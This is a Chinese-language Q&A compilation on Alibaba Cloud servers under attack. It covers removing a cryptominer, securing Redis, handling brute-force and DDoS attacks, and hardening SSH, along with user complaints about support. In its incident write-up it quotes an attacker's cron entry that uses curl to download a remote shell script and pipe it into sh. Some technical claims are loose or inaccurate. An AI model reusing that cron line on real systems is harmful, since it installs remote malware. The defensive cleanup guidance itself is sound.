① 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權， 在沒有找到根源前，千萬不要刪除 minerd，因為刪除了，過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top，查看了一會，沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句：
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下，感興趣的可以研究下：
View Code
解決minerd並不是最終的目的，主要是要查找問題根源，我的伺服器問題出在了redis服務了，黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權，http://blog.jobbole.com/94518/然後就注入了病毒，下面是解決辦法和清除工作：
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」，區分普通用戶和admin許可權，普通用戶將會被禁止運行某些命令，如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表，是不是有你不認識的用戶添加進來。 如果有就刪除掉.
② 新買的阿里雲ECS雲伺服器，只搭建了環境為什麼就遭到了攻擊
只要有IP都會有攻擊記錄，但一般不會成功。。
③ 伺服器主機遭受暴力攻擊怎麼處理
1、切斷網路：所有攻擊都來自網路，因此在得知系統正遭受攻擊後，首先切斷網路，保護伺服器網路內的其他主機。2、找出攻擊源：通過日誌分析，查出可疑信息，同時也要查看系統打開了哪些埠，運行了哪些進程。3、分析入侵原因和途徑：既然是遭到入侵，那麼原因是多方面的，可能是系統漏洞，也可能是程序漏洞，一定要查清楚原因，並且查清楚攻擊的途徑，找到攻擊源，只有找到了攻擊原因和途徑才能進行漏洞的刪除和修復。4、備份用戶數據：在唄攻擊後，需要裡面備份伺服器上的數據，同時也要查看數據中是否隱藏攻擊源。如果攻擊源在用戶數據中，一定要徹底刪除。然後將數據備份到一個安全的地方。5、重裝系統：不要以為清除了攻擊源就是安全的，因為沒人能比黑客更了解攻擊程序，在伺服器遭受攻擊後，最簡單的方法就是重裝系統。因為大部分攻擊都是依附在系統文件或者內核中。6、修復程序或系統漏洞：在發現程序漏洞或系統漏洞後，首先要做的是修復漏洞，只有將程序漏洞修復完畢才能在伺服器上運行。7、恢復數據和連接網路：將備份的數據重新復制到新裝的伺服器上，然後開啟服務，最後將伺服器的網路連接開啟，對外提供服務。二、檢查並鎖定可疑用戶當發現伺服器遭受攻擊後，首先要切斷網路連接，但是在有些情況下，比如無法馬上切斷網路連接時，就必須登錄系統查看是否有可疑用戶，如果有可疑用戶登錄了系統，那麼需要馬上將這個用戶鎖定，然後中斷此用戶的遠程連接。 當發現伺服器遭受攻擊後，首先要切斷網路連接，但是在有些情況下，比如無法馬上切斷網路連接時，就必須登錄系統查看是否有可疑用戶，如果有可疑用戶登錄了系統，那麼需要馬上將這個用戶鎖定，然後中斷此用戶的遠程連接。1.登錄系統查看可疑用戶通過root用戶登錄，然後執行「w」命令即可列出所有登錄過系統的用戶，通過這個輸出可以檢查是否有可疑或者不熟悉的用戶登錄，同時還可以根據用戶名以及用戶登錄的源地址和它們正在運行的進程來判斷他們是否為非法用戶。2.鎖定可疑用戶一旦發現可疑用戶，就要馬上將其鎖定，例如上面執行「w」命令後發現nobody用戶應該是個可疑用戶(因為nobody默認情況下是沒有登錄許可權的)，於是首先鎖定此用戶，執行如下操作：[root@server ~]# passwd -l nobody鎖定之後，有可能此用戶還處於登錄狀態，於是還要將此用戶踢下線，根據上面「w」命令的輸出，即可獲得此用戶登錄進行的pid值這樣就將可疑用戶nobody從線上踢下去了。如果此用戶再次試圖登錄它已經無法登錄了。3.通過last命令查看用戶登錄事件last命令記錄著所有用戶登錄系統的日誌，可以用來查找非授權用戶的登錄事件，而last命令的輸出結果來源於/var/log/wtmp文件，稍有經驗的入侵者都會刪掉/var/log/wtmp以清除自己行蹤，但是還是會露出蛛絲馬跡在此文件中的。
④ 阿里雲發現暴力破解怎麼自動禁止ip
比如你自己電腦的網路IP啊
查自己IP 可以在網路搜索「查自己IP」會有顯示自己網路IP多少
然後添加進去就可以了
⑤ 我在阿里雲 買了個學生專享的伺服器 總是被攻擊 升級安全又要費錢 還說安全性好 只能說坑
我也剛買了學生版阿里雲伺服器，之前遇到這種情況，如果真的不能用其實可以打客服電話幫忙解決的。
⑥ 阿里雲ECS伺服器對外攻擊，怎麼解決
伺服器被黑了，保存數據，重做系統。伺服器
⑦ 阿里雲提示被DDOS攻擊IP進入黑洞怎麼辦
以SYN Flood為例，可在防火牆上進行如下設置：
* 禁止對主機非開放服務的訪問；
* 限制同時打開的數據包最大連接數；
* 限制特定IP地址的訪問；
* 啟用防火牆的防DDoS的屬性；
* 嚴格限制對外開放的伺服器的向外訪問，以防止自己的伺服器被當做工具攻擊他人。
此外，還可以採取如下方法：
* Random Drop演算法。當流量達到一定的閥值時，按照演算法規則丟棄後續報文，以保持主機的處理能力。其不足是會誤丟正常的數據包，特別是在大流量數據包的攻擊下，正常數據包猶如九牛一毛，容易隨非法數據包被拒之網外；
* SYN Cookie演算法，採用6次握手技術以降低受攻擊率。其不足是依據列表查詢，當數據流量增大時，列表急劇膨脹，計算量隨之提升，容易造成響應延遲乃至系統癱瘓。
⑧ 阿里雲伺服器老是提示暴力破解怎麼辦
只要將密碼設置到18位以上，含字母、數字、特殊符號，他們破解1億年也破解不了，可以不用管它。
暴力破解就是碰密碼，一個一個試。
⑨ 阿里雲伺服器太不安全了，老是被攻擊，工作人員就負責把伺服器給我關了
阿里雲現在不比以前了!服務沒有以前那麼好了！提交一個工單跟你玩了7天，關鍵是問題還沒解決，最後的答復是就是要你備份好文件，重裝系統。最可氣的就是一個工單換了好幾個人跟只能要他聯系你。10分鍾的事情硬是搞個3-5天。----以上是我親身經歷的！要工單截圖我都可以給你。
建議
遠離大平台:
1，客戶多別人照顧不了你這樣的小客戶。
2，阿里雲向別人說的沒有防禦系統都是炒房子一樣過來這陣風基本上也就拜拜了。
選擇適合自己的平台
1，如果是公司網站可以選擇一些像網路雲，華為雲，騰訊雲的代理機構。因為他要賺錢必須把你當上帝。服務也及時。還會免費的教你怎麼怎麼弄。
⑩ 如何使用和訪問阿里雲ECS伺服器
Ecs伺服器設置
雲伺服器的安全安全設置主要有以下幾個比較重要的幾個方面：
1、首先是伺服器的用戶管理，很多的攻擊和破解，首先是針對於系統的遠程登錄，畢竟拿到登錄用戶之後就能進入系統進行操作，所以首先要做的就是禁止root超級用戶的遠程登錄。
2、把ssh的默認埠改為其他不常用的埠。你可能不知道我們的伺服器其實每天都在被很多的掃描工具在掃描著，尤其是對於Linux伺服器的ssh默認22埠，掃描工具掃描出22埠之後就可能會嘗試破解和登錄。把ssh的默認埠修改後可以減少被掃描和暴力登錄的概率。此外你還可以使用fail2ban等程序防止ssh被暴力破解，其原理是嘗試多少次登錄失敗之後就把那個IP給禁止登錄了。
3、SSH 改成使用密鑰登錄，這樣子就不必擔心暴力破解了，因為對方不可能有你的密鑰，比密碼登錄安全多了。
4、一定要定期檢查和升級你的網站程序以及相關組件，及時修復那些重大的已知漏洞。網上也有很多的爬蟲機器人每天在掃描著各式各樣的網站，嘗試找系統漏洞。即使你前面把伺服器用戶許可權管理、登錄防護都做得很好了，然而還是有可能在網站程序上被破解入侵。
5、另外如果雲伺服器上運行多個網站系統(博客+企業官網)。我推薦使用docker容器的方式隔離運行環境，將每個程序運行在一個單獨的容器里，這樣即使伺服器上其中的一個網站程序被破解入侵了，也會被限制在被入侵的容器內，不會影響到其他的容器，也不會影響到系統本身，具體信息可在阿里雲了解。